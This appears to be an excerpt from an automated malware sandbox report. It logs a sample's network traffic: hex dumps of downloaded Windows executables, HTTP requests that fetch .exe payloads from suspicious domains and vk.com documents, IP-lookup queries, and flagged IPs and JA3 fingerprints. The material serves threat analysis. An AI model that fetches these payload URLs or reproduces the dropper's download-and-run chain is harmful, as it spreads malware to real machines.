00 00 00 00 00 00 10 00 00 00 50 20 93 00 09 0d 00 00 5c 2d 93 00 b0 03 00 00 00 c0 19 00 a0 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 20 93 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 93 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 15 00 00 10 00 00 00 2a 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 02 00 00 a0 15 00 00 02 01 00 00 2e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 20 18 00 00 08 00 00 00 30 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 b0 00 00 00 70 18 00 00 00 00 00 00 38 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 a0 00 00 00 20 19 00 00 60 00 00 00 38 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 b0 00 00 00 c0 19 00 00 b0 00 00 00 98 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 80 78 00 00 70 1a 00 00 28 03 00 00 48 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 20 22 00 00 f0 92 00 00 1c 22 00 00 70 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:13 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=Space1.9_menu.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 4007056Content-Type: application/octet-streamData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 e7 e6 0f 66 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 27 00 34 11 00 00 d0 04 00 00 00 00 00 94 33 9b 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 9b 00 00 02 00 00 d4 41 3d 00 02 00 00 80 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 30 9b 00 4c 00 00 00 4c 30 9b 00 48 03 00 00 00 40 9b 00 64 57 00 00 00 00 00 00 00 00 00 00 00 aa 3c 00 90 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 9b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 31 9b 00 68 00 00 00 24 86 6d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 20 9b 00 00 10 00 00 00 40 3c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 20 0f 00 00 00 30 9b 00 00 10 00 00 00 42 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 64 57 00 00 00 40 9b 00 00 58 00 00 00 52 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 b2 09 b4 3f 3c 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 d3 2f c5 3a 3c 01 4b b1 7e c9 8a 8a 4d 2f a3 0d d9 7f a6 e3 8c 23 11 53 e0 59 18 c5 75 8a e2 77 f8 b6 94 7f 0c 6a c0 de 74 49 64 e2 e9 5c 53 b2 04 d8 f7 44 0c ab 5f 0d 6d 46 e9 e5 c3 76 88 b7 96 57 ac b6 4d e1 69 1d 6f fb 4b 88 10 6c 42 cb 88 3f 5c 00 8f d0 4e af 26 28 94 71 1f 3d 8f 24 e1 70 9e a7 23 5f ec 28 cb 85 d1 95 98 8a 7e 2a 91 f2 27 75 f7 19 c0 06 98 4d 98 fd d8 af d5 90 0f c4 25 53 f8 f5 91 36 31 05 a5 b0 ee 6f c1 70 4d 47 0c d1 91 11 aa ad 60 1d ba ce b1 27 18 5c 59 86 e9 66 52 58 be e9 76 ac 59 e4 e5 5b 05 08 f9 c7 da ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f7 db 10 60 56 3d d0 40 2e c6 71 27 53 35 6f 26 bc 42 01 ca 6c f9 51 db 86 c3 8d 87 5c ef 68 0d 74 27 8b cd b0 e6 2f ac 92 4f b6 83 38 8f cf 01 11 5b 15 4b 86 d5 28 5e 1c 74 11 cc 52 fb 20 30 6b 7c d9 5f c5 6c 27 d1 02 13 05 19 4f 59 60 51 09 9c 2a 0c 58 05 48 c2 08 fc 7a b2 37 e5 35 51 4b 5e de af ad c2 be fb 3d d2 ad 9b 84 48 85 b5 c4 86 fe 68 8d cd 57 b4 d1 8f ea
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:13 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12Last-Modified: Tue, 02 Apr 2024 08:24:20 GMTETag: "ab2000-61518d52a9500"Accept-Ranges: bytesContent-Length: 11214848Content-Type: application/x-msdownloadData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 db 4c 00 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 80 00 00 00 2e ca 00 00 00 00 00 79 fc 01 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 a1 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 2e 66 01 64 00 00 00 00 10 a1 01 58 2c 00 00 60 d8 a0 01 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 76 fb 00 28 00 00 00 20 d7 a0 01 38 01 00 00 00 00 00 00 00 00 00 00 00 10 f6 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e6 7e 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 f0 1d 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 68 e9 c9 00 00 b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 80 01 00 00 00 a0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 30 30 63 66 67 00 00 10 00 00 00 00 b0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 10 00 00 00 00 c0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 30 00 00 e3 34 2b 00 00 d0 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 74 65 78 74 31 00 00 38 08 00 00 00 10 f6 00 00 0a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 65 78 74 32 00 00 5c e3 aa 00 00 20 f6 00 00 e4 aa 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 58 2c 00 00 00 10 a1 01 00 2e 00 00 00 f2 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:15 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=Retailer_prog.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 4110480Content-Type: application/octet-streamData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 e7 e6 0f 66 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 27 00 34 11 00 00 d0 04 00 00 00 00 00 94 13 a0 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 a0 00 00 02 00 00 3b 24 3f 00 02 00 00 80 00 00 10 00 00 d0 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 10 a0 00 4c 00 00 00 4c 10 a0 00 48 03 00 00 00 20 a0 00 64 57 00 00 00 00 00 00 00 00 00 00 00 3e 3e 00 90 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f a0 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 11 a0 00 68 00 00 00 9c f2 9b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 00 a0 00 00 10 00 00 00 d4 3d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 20 0f 00 00 00 10 a0 00 00 10 00 00 00 d6 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 64 57 00 00 00 20 a0 00 00 58 00 00 00 e6 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 00 0a 18 d3 3d 00 20 05 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 d3 2f c5 3a 3c 01 4b b1 7e c9 8a 8a 4d 2f a3 0d d9 7f a6 e3 8c 23 11 53 e0 59 18 c5 75 8a e2 77 f8 b6 94 7f 0c 6a c0 de 74 49 64 e2 e9 5c 53 b2 04 d8 f7 44 0c ab 5f 0d 6d 46 e9 e5 c3 76 88 b7 96 57 ac b6 4d e1 69 1d 6f fb 4b 88 10 6c 42 cb 88 3f 5c 00 8f d0 4e af 26 28 94 71 1f 3d 8f 24 e1 70 9e a7 23 5f ec 28 cb 85 d1 95 98 8a 7e 2a 91 f2 27 75 f7 19 c0 06 98 4d 98 fd d8 af d5 90 0f c4 25 53 f8 f5 91 36 31 05 a5 b0 ee 6f c1 70 4d 47 0c d1 91 11 aa ad 60 1d ba ce b1 27 18 5c 59 86 e9 66 52 58 be e9 76 ac 59 e4 e5 5b 05 08 f9 c7 da ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f7 db 10 60 58 1b f3 30 ce c6 71 27 53 35 6f 26 bc 42 01 ca 6c f9 51 db 86 c3 8d 87 5c ef 68 0d 74 27 8b cd b0 e6 2f ac 92 4f b6 83 38 8f cf 01 11 5b 15 4b 86 d5 28 5e 1c 74 11 cc 52 fb 20 30 6b 7c d9 5f c5 6c 27 d1 02 13 05 19 4f 59 60 51 09 9c 2a 0c 58 05 48 c2 08 fc 7a b2 37 e5 35 51 4b 5e de af ad c2 be fb 3d d2 ad 9b 84 48 85 b5 c4 86 fe 68 8d cd 57 b4 d1 8f ea
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 01 May 2024 18:26:16 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=Default15_big.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 5887224Content-Type: application/octet-streamData Raw: 4d 5a 40 00 01 00 00 00 02 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 57 69 6e 33 32 20 2e 45 58 45 2e 0d 0a 24 40 00 00 00 50 45 00 00 4c 01 03 00 e7 e6 0f 66 00 00 00 00 00 00 00 00 e0 00 02 03 0b 01 0e 27 00 34 11 00 00 32 08 00 00 00 00 00 94 43 ce 00 00 10 00 00 00 50 11 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 d0 00 00 02 00 00 b5 8f 5a 00 02 00 00 80 00 00 10 00 00 10 03 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 40 ce 00 4c 00 00 00 4c 40 ce 00 48 03 00 00 00 50 ce 00 74 38 02 00 00 00 00 00 00 00 00 00 00 bc 59 00 f8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f ce 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 41 ce 00 68 00 00 00 10 f7 c3 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 4d 50 52 45 53 53 31 00 30 ce 00 00 10 00 00 00 70 57 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 4d 50 52 45 53 53 32 20 0f 00 00 00 40 ce 00 00 10 00 00 00 72 57 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 e0 2e 72 73 72 63 00 00 00 74 38 02 00 00 50 ce 00 00 3a 02 00 00 82 57 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 32 2e 31 39 e3 0c 2f 6f 57 00 20 07 00 00 6f fd ff ff a3 b7 ff 47 3e 48 15 72 39 61 51 b8 92 28 e6 a3 86 07 f9 ee e4 1e 82 d3 2f c5 3a 3c 01 4b b1 7e c9 8a 8a 4d 2f a3 0d d9 7f a6 e3 8c 23 11 53 e0 59 18 c5 75 8a e2 77 f8 b6 94 7f 0c 6a c0 de 74 49 64 e2 e9 5c 53 b2 04 d8 f7 44 0c ab 5f 0d 6d 46 e9 e5 c3 76 88 b7 96 57 ac b6 4d e1 69 1d 6f fb 4b 88 10 6c 42 cb 88 3f 5c 00 8f d0 4e af 26 28 94 71 1f 3d 8f 24 e1 70 9e a7 23 5f ec 28 cb 85 d1 95 98 8a 7e 2a 91 f2 27 75 f7 19 c0 06 98 4d 98 fd d8 af d5 90 0f c4 25 53 f8 f5 91 36 31 05 a5 b0 ee 6f c1 70 4d 47 0c d1 91 11 aa ad 60 1d ba ce b1 27 18 5c 59 86 e9 66 52 58 be e9 76 ac 59 e4 e5 5b 05 08 f9 c7 da ad fc fb 52 2b 74 cd 1e 5b 20 42 f9 dd 53 3d f7 db 10 60 56 dd 9e ca 4e c6 71 27 53 10 be 7a 6d 29 60 69 13 9b 84 fc c4 ff 32 a7 62 ed a9 f1 85 65 80 b2 6a ef e3 f8 d5 5f 36 00 c8 b4 11 a3 ee aa a9 26 3c ba 51 51 28 1e 0f 2e 0d 2f c3 7c 21 b4 d7 10 3a 32 57 50 ca 45 af 4e e2 cb c2 a3 32 50 8b f5 dd 01 f4 53 f8 5e 98 97 03 10 d7 65 0d d7 f6 83 be 6c eb d3 92 53 c4 ef c3 41 a5 24 f4 e9 6a f2 d2 75 99 8c 19 fb 7d
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.0Date: Wed, 01 May 2024 18:26:17 GMTContent-Type: application/octet-streamConnection: closeContent-Description: File TransferContent-Disposition: attachment; filename=bbd637be.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 20 81 e9 50 4e d2 e9 50 4e d2 e9 50 4e d2 2a 5f 11 d2 eb 50 4e d2 e9 50 4f d2 4a 50 4e d2 2a 5f 13 d2 e6 50 4e d2 bd 73 7e d2 e3 50 4e d2 2e 56 48 d2 e8 50 4e d2 52 69 63 68 e9 50 4e d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 63 dc a0 64 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 66 00 00 00 22 02 00 00 08 00 00 fc 34 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 c0 03 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 fc 84 00 00 a0 00 00 00 00 a0 03 00 90 18 00 00 00 00 00 00 00 00 00 00 8c 5d 0a 00 98 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 56 65 00 00 00 10 00 00 00 66 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 58 13 00 00 00 80 00 00 00 14 00 00 00 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fb 01 00 00 a0 00 00 00 06 00 00 00 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 90 18 00 00 00 a0 03 00 00 1a 00 00 00 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

HTTP GET or POST without a user agent

Source: global traffic

HTTP traffic detected: GET /profiles/76561199680449169 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 193.233.132.139 193.233.132.139
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 37.221.125.202 37.221.125.202

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: PTSERVIDORPT PTSERVIDORPT

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

May check the online IP address of the machine

Source: unknown	DNS query: name: api.myip.com
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: api.myip.com
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: ipinfo.io

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/149.18.24.96 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: HEAD /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sextipolar.sbsConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cad54ba5b01423b1af8ec10ab5719d97.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: triedchicken.netCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7725eaa6592c80f8124e769b4e8a07f7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: zanzibarpivo.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /style/060.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: dod.fastbutters.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /29d6e50767cda8c52446163cd5125b9a/cad54ba5b01423b1af8ec10ab5719d97.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: carthewasher.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /29d6e50767cda8c52446163cd5125b9a/7725eaa6592c80f8124e769b4e8a07f7.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: cheremushki.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /qwqw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: sextipolar.sbsConnection: Keep-AliveCookie: _subid=2aviuam2be2o6; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjMwMFwiOjE3MTQ1ODc5NzN9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE0NTg3OTczfSxcInRpbWVcIjoxNzE0NTg3OTczfSJ9.N9RXEtZHC0kLyYqtH-BKJtwY1xdo2hnsZGO1xdl4cW0
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: monoblocked.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /525403/setup.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cache-Control: no-cacheHost: f.123654987.xyzConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /doc5294803_669163253?hash=IW0hSGrk8YDX7CqoqAMIkklp8EU8TjRsyfCDGdTN1K0&dl=ZMC21WrDfH2RaTobXxMq3AXIkVJHKfiV4OkccEpBnnk&api=1&no_preview=1#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_668917518?hash=HcqSqB4BEz69zZduDzHpG5p3oDuUGmC4h5HdrueZTFD&dl=73Wmq1mPcIfGe320FelzdYt7foFKatzHUAXVPKOvEz0&api=1&no_preview=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /doc5294803_669152103?hash=pkblRovv4LMe1R6iuxvW4DDThffFR8gbvrqSTKlz4BX&dl=OZ0YEqh4RYRcb5Su2JqOKNJMaEcBe7Ll19G2uM9kyeX&api=1&no_preview=1#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Host: vk.comCache-Control: no-cache
